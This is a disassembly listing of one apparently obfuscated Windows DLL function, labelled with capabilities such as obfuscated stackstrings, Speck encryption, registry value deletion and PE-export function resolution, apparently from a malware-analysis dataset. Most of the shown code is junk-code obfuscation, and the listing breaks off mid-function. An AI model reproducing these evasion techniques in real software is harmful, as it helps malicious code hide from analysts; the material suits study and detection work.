Function at 0x10034146
Capabilities:
Clear file content
Contain obfuscated stackstrings
Create thread
Delete registry value
Encrypt data using speck
Parse pe header
Query environment variable
Query or enumerate registry key
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10080a3c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1d0c
call fcn.1007c5e0
push esi
push edi
cmp dword [ebp + 0x10], 0
jbe 0x10034324
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10034324
mov dword [ebp - 0xf8], 0xffff
mov dword [ebp - 0x7fc], 0x948708ef
mov dword [ebp - 0xe6c], 0
mov dword [ebp - 0x278], 0x6f65e790
mov dword [ebp - 0xea0], 0x8c55
mov dword [ebp - 0xec0], 0x1f0dfbc4
mov byte [ebp - 0x19f], 0
movzx eax, byte [ebp - 0x19f]
test eax, eax
je 0x100341d6
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 0
jne 0x100341f7
mov dword [ebp - 0xe74], 1
jmp 0x100341fe
and dword [ebp - 0xe74], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0xe6c]
cmp dword [ebp - 0xe74], eax
jle 0x10034224
mov dword [ebp - 0xea8], 1
jmp 0x1003422b
and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0xf8]
neg eax
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x278], eax
jle 0x10034253
mov dword [ebp - 0xe90], 1
jmp 0x1003425a
and dword [ebp - 0xe90], 0
cmp dword [ebp - 0xe90], 1
jle 0x10034278
cmp dword [ebp - 0xf8], 0
je 0x10034278
mov dword [ebp - 0xe98], 1
jmp 0x1003427f
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0xe98]
mov dword [ebp - 0xea0], eax
mov eax, dword [ebp - 0xea0]
mov dword [ebp - 0x16cc], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x16e0], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x1888], eax
imul eax, dword [ebp - 0x278], 0x3eef
cmp eax, dword [ebp - 0xf8]
jg 0x100342d3
mov dword [ebp - 0xeb0], 1
jmp 0x100342da
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0xea8]
cmp eax, dword [ebp - 0xeb0]
jle 0x100342fd
cmp dword [ebp - 0xec0], 0
je 0x100342fd
mov dword [ebp - 0xeb8], 1
jmp 0x10034304
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0xec0], eax
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002e54c
pop ecx
pop ecx
jmp 0x100409da
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x1a4], 7
push 1
lea ecx, [ebp - 0x1660]
call fcn.10020bf2
and dword [ebp - 4], 0
mov dword [ebp - 0x720], 0xbbbc254e
mov dword [ebp - 0xb18], 0xcf59f89f
mov dword [ebp - 0x1048], 0x7f47073
mov dword [ebp - 0xc0], 0
jmp 0x1003437d
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x1003439c
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1660]
call fcn.10020c90
or dword [eax], 0xffffffff
jmp 0x10034370
mov dword [ebp - 0xc0], 0
jmp 0x100343b5
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 3
jge 0x100343d1
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x19c0], 0xfc24489
jmp 0x100343a8
mov dword [ebp - 0x1c], 0
jmp 0x100343e1
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffeb
jl 0x100344c9
mov dword [ebp - 0x680], 0x2ff4
mov dword [ebp - 0xe64], 1
mov dword [ebp - 0x138c], 0xfffffffc
cmp dword [ebp - 0x1c], 0
je 0x10034414
jmp 0x100344c9
cmp dword [ebp - 0x680], 0
je 0x1003449b
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jg 0x10034431
mov dword [ebp - 0xec8], 1
jmp 0x10034438
and dword [ebp - 0xec8], 0
mov eax, dword [ebp - 0x680]
cmp dword [ebp - 0xec8], eax
jl 0x10034452
mov dword [ebp - 0xed0], 1
jmp 0x10034459
and dword [ebp - 0xed0], 0
mov eax, dword [ebp - 0xed0]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x680]
cmp dword [ebp - 0x1a4], eax
je 0x1003447f
mov dword [ebp - 0xef8], 1
jmp 0x10034486
and dword [ebp - 0xef8], 0
mov eax, dword [ebp - 0xef8]
inc eax
je 0x1003449b
mov dword [ebp - 0x718], 1
jmp 0x100344a2
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0xe64], eax
mov eax, dword [ebp - 0xe64]
mov dword [ebp - 0x16e8], eax
mov dword [ebp - 0x138c], 0x4c3f4f88
jmp 0x100343da
cmp dword [ebp - 0x1c], 0
jne 0x1003455f
cmp dword [ebp - 0x1c], 0
ja 0x100344e5
mov dword [ebp - 0xd10], 1
jmp 0x100344ec
and dword [ebp - 0xd10], 0
mov eax, dword [ebp - 0xd10]
sub eax, dword [ebp - 0x1c]
je 0x10034512
cmp dword [ebp - 0x1c], 0
je 0x10034512
cmp dword [ebp - 0x1a4], 0
je 0x10034512
mov dword [ebp - 0x628], 1
jmp 0x10034519
and dword [ebp - 0x628], 0
push 0
lea ecx, [ebp - 0x1660]
call fcn.10020c90
mov ecx, dword [ebp - 0x628]
mov dword [eax], ecx
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x720]
neg eax
mov dword [ebp - 0xb18], eax
mov eax, dword [ebp - 0xb18]
cmp dword [ebp - 0x1a4], eax
jl 0x1003455f
and dword [ebp - 0x728], 0
jmp 0x10034569
mov dword [ebp - 0x728], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x728], eax
jge 0x10034580
mov dword [ebp - 0xe10], 1
jmp 0x10034587
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0xe10]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x730], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x730]
mov dword [ebp + eax - 0x19c0], ecx
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1048], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1660]
call fcn.10020c74
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x10], 0xc85f70ad
cmp dword [ebp - 0x10], 0x48afa2fa
jg 0x10034602
mov dword [ebp - 0xb20], 1
jmp 0x10034609
and dword [ebp - 0xb20], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xb20]
jle 0x100346dd
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jl 0x1003462c
mov dword [ebp - 0x738], 1
jmp 0x10034633
and dword [ebp - 0x738], 0
cmp dword [ebp - 0x738], 0x3631e19e
jl 0x1003464e
cmp dword [ebp - 0x10], 0
jne 0x1003464e
and dword [ebp - 0xd18], 0
jmp 0x10034658
mov dword [ebp - 0xd18], 1
cmp dword [ebp - 0xd18], 0xc700
jge 0x10034670
mov dword [ebp - 0x1050], 1
jmp 0x10034677
and dword [ebp - 0x1050], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1930], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x16f0], eax
cmp dword [ebp - 0x10], 0xc6d21cd
jg 0x1003469e
mov dword [ebp - 0x740], 1
jmp 0x100346a5
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
sub eax, dword [ebp - 0x10]
cmp eax, 0xc18a
jge 0x100346c1
mov dword [ebp - 0xb28], 1
jmp 0x100346c8
and dword [ebp - 0xb28], 0
cmp dword [ebp - 0xb28], 0x4d64ea33
jg 0x100346dd
and dword [ebp - 0x748], 0
jmp 0x100346e7
mov dword [ebp - 0x748], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x748], eax
je 0x100347cc
mov dword [ebp - 0xef4], 0x1a3d
mov dword [ebp - 0x1058], 0x1000a220
cmp dword [ebp - 0xef4], 0x1ceb
jle 0x1003478d
and dword [ebp - 0x27c], 0
jmp 0x1003472c
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x2102
jge 0x1003478d
and dword [ebp - 0x43c], 0
jmp 0x1003474e
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0x3757
jge 0x1003478b
mov eax, dword [ebp - 0x27c]
add eax, dword [ebp - 0x43c]
cdq
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
push dword [ebp - 0x1060]
push dword [ebp - 0x1064]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x10034741
jmp 0x1003471f
mov byte [ebp - 0x186], 0
movzx eax, byte [ebp - 0x186]
test eax, eax
je 0x100347ab
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
cmp dword [ebp - 0xef4], 0x16f6
jge 0x100347c7
mov edx, dword [ebp - 0x1058]
mov ecx, 0x10085b58
call fcn.10023628
jmp 0x10034b72
mov dword [ebp - 0x70], 0xc3da550e
push 2
lea ecx, [ebp - 0x17b4]
call fcn.10020bf2
mov dword [ebp - 4], 1
mov dword [ebp - 0x284], 0
jmp 0x10034800
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 2
jge 0x10034822
push dword [ebp - 0x284]
lea ecx, [ebp - 0x17b4]
call fcn.10020c90
mov dword [eax], 8
jmp 0x100347f3
mov dword [ebp - 0x10], 0x1c
jmp 0x10034832
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffe9
jg 0x10034b63
mov dword [ebp - 0x694], 0xd03b15a8
mov dword [ebp - 0x778], 0x497d
mov dword [ebp - 0x133c], 0x1000a278
cmp dword [ebp - 0x778], 0x4bd7
jle 0x1003494e
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
and dword [ebp - 0x444], 0
jmp 0x1003488e
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0x4be7
jge 0x1003494e
and dword [ebp - 0x51c], 0
jmp 0x100348b4
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0x1900
jge 0x10034949
and dword [ebp - 0x28c], 0
jmp 0x100348da
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x2ab7
jge 0x10034944
mov eax, dword [ebp - 0x51c]
imul eax, dword [ebp - 0x28c]
add eax, dword [ebp - 0x444]
cdq
mov dword [ebp - 0x1070], eax
mov dword [ebp - 0x106c], edx
push dword [ebp - 0x106c]
push dword [ebp - 0x1070]
lea ecx, [ebp - 0x1b50]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x132c], eax
mov ecx, dword [ebp - 0x132c]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1b50]
call fcn.100208ae
jmp 0x100348cd
jmp 0x100348a7
jmp 0x10034881
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0x1898], eax
cmp dword [ebp - 0x70], 0xfdaf0b56
je 0x1003496f
mov dword [ebp - 0x1334], 1
jmp 0x10034976
and dword [ebp - 0x1334], 0
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0x16f8], eax
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x70]
jl 0x10034999
mov dword [ebp - 0x750], 1
jmp 0x100349a0
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x750]
jg 0x100349b7
mov dword [ebp - 0xb30], 1
jmp 0x100349be
and dword [ebp - 0xb30], 0
cmp dword [ebp - 0xb30], 0x1289ed5b
jle 0x100349d6
mov dword [ebp - 0x758], 1
jmp 0x100349dd
and dword [ebp - 0x758], 0
imul eax, dword [ebp - 0x758], 6
cmp dword [ebp - 0x694], eax
jle 0x100349f8
mov dword [ebp - 0xd20], 1
jmp 0x100349ff
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xd20], eax
jg 0x10034a16
mov dword [ebp - 0x760], 1
jmp 0x10034a1d
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x14ca
jl 0x10034a41
mov dword [ebp - 0xb38], 1
jmp 0x10034a48
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xb38], eax
jl 0x10034a5f
mov dword [ebp - 0x768], 1
jmp 0x10034a66
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x768]
je 0x10034a7d
mov dword [ebp - 0xe18], 1
jmp 0x10034a84
and dword [ebp - 0xe18], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xe18], eax
jne 0x10034a9b
mov dword [ebp - 0x770], 1
jmp 0x10034aa2
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x770]
neg eax
imul eax, dword [ebp - 0x10]
test eax, eax
je 0x10034b26
mov dword [ebp - 0x70], 1
jmp 0x10034ac2
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jl 0x10034b24
mov dword [ebp - 0x1cc], 1
jmp 0x10034ae1
mov eax, dword [ebp - 0x1cc]
dec eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jl 0x10034b22
mov byte [ebp - 0x19c], 0
movzx eax, byte [ebp - 0x19c]
test eax, eax
je 0x10034b04
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov byte [ebp - 0x188], 0
movzx eax, byte [ebp - 0x188]
test eax, eax
je 0x10034b20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
jmp 0x10034ad4
jmp 0x10034abb
jmp 0x10034b46
mov dword [ebp - 0xb40], 0xd0615a03
cmp dword [ebp - 0xb40], 0
je 0x10034b3b
jmp 0x10034b63
cmp dword [ebp - 0xb40], 0
je 0x10034b46
jmp 0x10034b63
cmp dword [ebp - 0x778], 0x486a
jge 0x10034b5e
push dword [ebp - 0x133c]
call fcn.1006abb3
pop ecx
jmp 0x1003482b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17b4]
call fcn.10020c74
cmp dword [ebp + 0x10], 0
jne 0x1003a5f7
mov dword [ebp - 0x80], 0xffffffff
mov dword [ebp - 0x294], 0
jmp 0x10034b9c
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 4
jge 0x10034bb8
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0x1958], 0xfffffffb
jmp 0x10034b8f
mov dword [ebp - 0x80], 0
jmp 0x10034bc8
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jg 0x10034df0
mov dword [ebp - 0xd4], 0xa772304b
mov dword [ebp - 0xd28], 0x4fc3
mov dword [ebp - 0x1344], 0x1000a2d4
cmp dword [ebp - 0xd28], 0x537c
jle 0x10034ca8
and dword [ebp - 0x44c], 0
jmp 0x10034c16
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0x492c
jge 0x10034ca8
and dword [ebp - 0x58c], 0
jmp 0x10034c3c
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0x72ae
jge 0x10034ca3
and dword [ebp - 0x29c], 0
jmp 0x10034c5e
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x4ae8
jge 0x10034ca1
mov eax, dword [ebp - 0x58c]
add eax, dword [ebp - 0x29c]
xor eax, dword [ebp - 0x44c]
cdq
mov dword [ebp - 0x107c], eax
mov dword [ebp - 0x1078], edx
push dword [ebp - 0x1078]
push dword [ebp - 0x107c]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x10034c51
jmp 0x10034c2f
jmp 0x10034c09
mov dword [ebp - 0x780], 0x1a9c2132
cmp dword [ebp - 0xd28], 0x4ecf
jge 0x10034cce
mov edx, dword [ebp - 0x1344]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0xd4], 0
jmp 0x10034ce7
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 3
jg 0x10034d04
mov eax, dword [ebp - 0xd4]
cmp dword [ebp + eax*4 - 0x1958], 0
je 0x10034d02
jmp 0x10034d04
jmp 0x10034cda
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x780]
cmp dword [ebp - 0xd4], eax
jne 0x10034d27
mov dword [ebp - 0x788], 1
jmp 0x10034d2e
and dword [ebp - 0x788], 0
cmp dword [ebp - 0xd4], 0
jne 0x10034d49
cmp dword [ebp - 0xd4], 0
jne 0x10034d49
and dword [ebp - 0xb48], 0
jmp 0x10034d53
mov dword [ebp - 0xb48], 1
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0xb48]
jge 0x10034d6a
mov dword [ebp - 0xe94], 1
jmp 0x10034d71
and dword [ebp - 0xe94], 0
mov eax, dword [ebp - 0x788]
cmp eax, dword [ebp - 0xe94]
jle 0x10034d8b
mov dword [ebp - 0x790], 1
jmp 0x10034d92
and dword [ebp - 0x790], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1958]
mov ecx, dword [ebp - 0x790]
sub ecx, 7
imul eax, ecx
cmp eax, 1
jbe 0x10034dbc
mov dword [ebp - 0xb50], 1
jmp 0x10034dc3
and dword [ebp - 0xb50], 0
cmp dword [ebp - 0xb50], 0
jae 0x10034dd8
mov dword [ebp - 0x798], 1
jmp 0x10034ddf
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0xd4], eax
jmp 0x10034bc1
mov dword [ebp - 0x80], 0
jmp 0x10034e00
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jge 0x10034e16
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x1958], 0x621ec218
jmp 0x10034df9
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10024587
mov dword [ebp - 0x450], eax
mov dword [ebp - 0xd30], 0xeea
mov dword [ebp - 0x1354], 0x1000a300
cmp dword [ebp - 0xd30], 0xfc3
jle 0x10034f2e
and dword [ebp - 0x2a4], 0
jmp 0x10034e61
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x2523
jge 0x10034f22
and dword [ebp - 0x524], 0
jmp 0x10034e87
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0x64ca
jge 0x10034f1d
and dword [ebp - 0x2ac], 0
jmp 0x10034ead
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x45f0
jge 0x10034f18
mov eax, dword [ebp - 0x2a4]
add eax, dword [ebp - 0x524]
mov ecx, dword [ebp - 0x2ac]
shl eax, cl
cdq
mov dword [ebp - 0x1088], eax
mov dword [ebp - 0x1084], edx
push dword [ebp - 0x1084]
push dword [ebp - 0x1088]
lea ecx, [ebp - 0x1ce8]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x134c], eax
mov ecx, dword [ebp - 0x134c]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1ce8]
call fcn.100208ae
jmp 0x10034ea0
jmp 0x10034e7a
jmp 0x10034e54
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetObjectA]
cmp dword [ebp - 0xd30], 0xdc6
jge 0x10034f46
push dword [ebp - 0x1354]
call fcn.1006abb3
pop ecx
push 3
lea ecx, [ebp - 0x14e0]
call fcn.10020bf2
mov dword [ebp - 4], 2
mov dword [ebp - 0x135c], 0x8ab659d5
mov dword [ebp - 0xb4], 0
jmp 0x10034f7d
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x10034f99
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x7a0], 0xffffffff
jmp 0x10034f70
mov dword [ebp - 0xb4], 0
jmp 0x10034fb2
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jge 0x10034fd1
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x14e0]
call fcn.10020c90
or dword [eax], 0xffffffff
jmp 0x10034fa5
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x7a0]
push 2
lea ecx, [ebp - 0x14e0]
call fcn.10020c90
mov dword [eax], esi
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a0]
mov dword [ebp - 0xb58], eax
push 2
lea ecx, [ebp - 0x14e0]
call fcn.10020c90
mov ecx, dword [ebp - 0xb58]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb58]
mov dword [ebp - 0x135c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14e0]
call fcn.10020c74
mov dword [ebp - 0x7a8], 0
mov dword [ebp - 0x454], 0
jmp 0x10035053
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 2
jge 0x1003506f
mov eax, dword [ebp - 0x454]
mov dword [ebp + eax*4 - 0x17dc], 0xdc4b4e12
jmp 0x10035046
mov dword [ebp - 0x7a8], 0xca631852
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp + eax - 0x17dc], ecx
mov dword [ebp - 0xe20], 0x7262
mov dword [ebp - 0x136c], 0x1000a348
cmp dword [ebp - 0xe20], 0x7405
jle 0x10035150
and dword [ebp - 0x2b4], 0
jmp 0x100350c6
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x737d
jge 0x10035150
and dword [ebp - 0x5c4], 0
jmp 0x100350e8
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0x1134
jge 0x1003514b
mov eax, dword [ebp - 0x2b4]
and eax, dword [ebp - 0x5c4]
cdq
mov dword [ebp - 0x1094], eax
mov dword [ebp - 0x1090], edx
push dword [ebp - 0x1090]
push dword [ebp - 0x1094]
lea ecx, [ebp - 0x1d18]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1364], eax
mov ecx, dword [ebp - 0x1364]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1d18]
call fcn.100208ae
jmp 0x100350db
jmp 0x100350b9
mov byte [ebp - 0x194], 0
cmp dword [ebp - 0xe20], 0x724a
jge 0x1003516f
push dword [ebp - 0x136c]
call fcn.1006abb3
pop ecx
movzx eax, byte [ebp - 0x194]
test eax, eax
je 0x10035184
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1ec], 0xd33a4a9b
mov dword [ebp - 0x68c], 0xffff
mov dword [ebp - 0x218], 0x32c2674d
mov dword [ebp - 0xb98], 3
mov dword [ebp - 0xcc], 0
jmp 0x100351c5
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x100351e1
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x1540], 0xd52aa0a5
jmp 0x100351b8
mov dword [ebp - 0xcc], 0
jmp 0x100351fa
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x10035216
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x13ac], 0x51c6076f
jmp 0x100351ed
cmp dword [ebp - 0x1ec], 0
je 0x100358dc
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x21c], 1
mov dword [ebp - 0x110], 0x3a29add9
mov eax, dword [ebp - 0x1ec]
add eax, dword [ebp - 0x2c]
je 0x100352a3
cmp dword [ebp - 0x2c], 0x3535
jg 0x1003525e
mov dword [ebp - 0x630], 1
jmp 0x10035265
and dword [ebp - 0x630], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x630]
mov dword [ebp + eax - 0x1540], ecx
cmp dword [ebp - 0x630], 0x644a
jg 0x10035290
mov dword [ebp - 0x1374], 1
jmp 0x10035297
and dword [ebp - 0x1374], 0
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x1994], eax
mov eax, 0x3dbc56e7
test eax, eax
je 0x100352c8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13ac], 0
je 0x100352c8
mov dword [ebp - 0x7b0], 1
jmp 0x100352cf
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x1ec]
imul eax, dword [ebp - 0x7b0]
test eax, eax
je 0x10035301
mov byte [ebp - 0x18a], 0
movzx eax, byte [ebp - 0x18a]
test eax, eax
je 0x100352fc
push 0
push 0
call dword [sym.imp.USER32.dll_SetMenu]
jmp 0x100357ef
mov dword [ebp - 0x90], 0xffff
cmp dword [ebp - 0x90], 0
jge 0x10035320
mov dword [ebp - 0xb60], 1
jmp 0x10035327
and dword [ebp - 0xb60], 0
cmp dword [ebp - 0xb60], 0xfffffffb
jne 0x1003533c
mov dword [ebp - 0x7b8], 1
jmp 0x10035343
and dword [ebp - 0x7b8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7b8]
sub ecx, dword [ebp + eax - 0x1540]
cmp ecx, dword [ebp - 0x2c]
jge 0x10035367
mov dword [ebp - 0xd38], 1
jmp 0x1003536e
and dword [ebp - 0xd38], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xd38], eax
jne 0x10035385
mov dword [ebp - 0x7c0], 1
jmp 0x1003538c
and dword [ebp - 0x7c0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7c0]
mov dword [ebp + eax - 0x13ac], ecx
cmp dword [ebp - 0x2c], 0x743e
jle 0x100353b4
mov dword [ebp - 0xb68], 1
jmp 0x100353bb
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0xb68]
sub eax, dword [ebp - 0x90]
je 0x100353e5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13ac], 0
je 0x100353e5
mov dword [ebp - 0x7c8], 1
jmp 0x100353ec
and dword [ebp - 0x7c8], 0
cmp dword [ebp - 0x7c8], 7
jne 0x10035401
mov dword [ebp - 0xecc], 1
jmp 0x10035408
and dword [ebp - 0xecc], 0
cmp dword [ebp - 0xecc], 0xffffffff
je 0x1003541d
mov dword [ebp - 0x7d0], 1
jmp 0x10035424
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x90]
imul eax, dword [ebp - 0x7d0]
cmp eax, 0xfffffffd
je 0x10035442
mov dword [ebp - 0xb70], 1
jmp 0x10035449
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0xb70]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x1540]
jl 0x1003546d
mov dword [ebp - 0x7d8], 1
jmp 0x10035474
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x68c]
cmp dword [ebp - 0x7d8], eax
jge 0x1003548e
mov dword [ebp - 0xd40], 1
jmp 0x10035495
and dword [ebp - 0xd40], 0
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0xd40]
jge 0x100354af
mov dword [ebp - 0x7e0], 1
jmp 0x100354b6
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x7e0], eax
jg 0x100354d0
mov dword [ebp - 0xb78], 1
jmp 0x100354d7
and dword [ebp - 0xb78], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0xb78], eax
jl 0x100354f1
mov dword [ebp - 0x7e8], 1
jmp 0x100354f8
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x90]
sub eax, dword [ebp - 0x7e8]
cmp eax, 0x40b36fe0
jne 0x10035517
mov dword [ebp - 0xe28], 1
jmp 0x1003551e
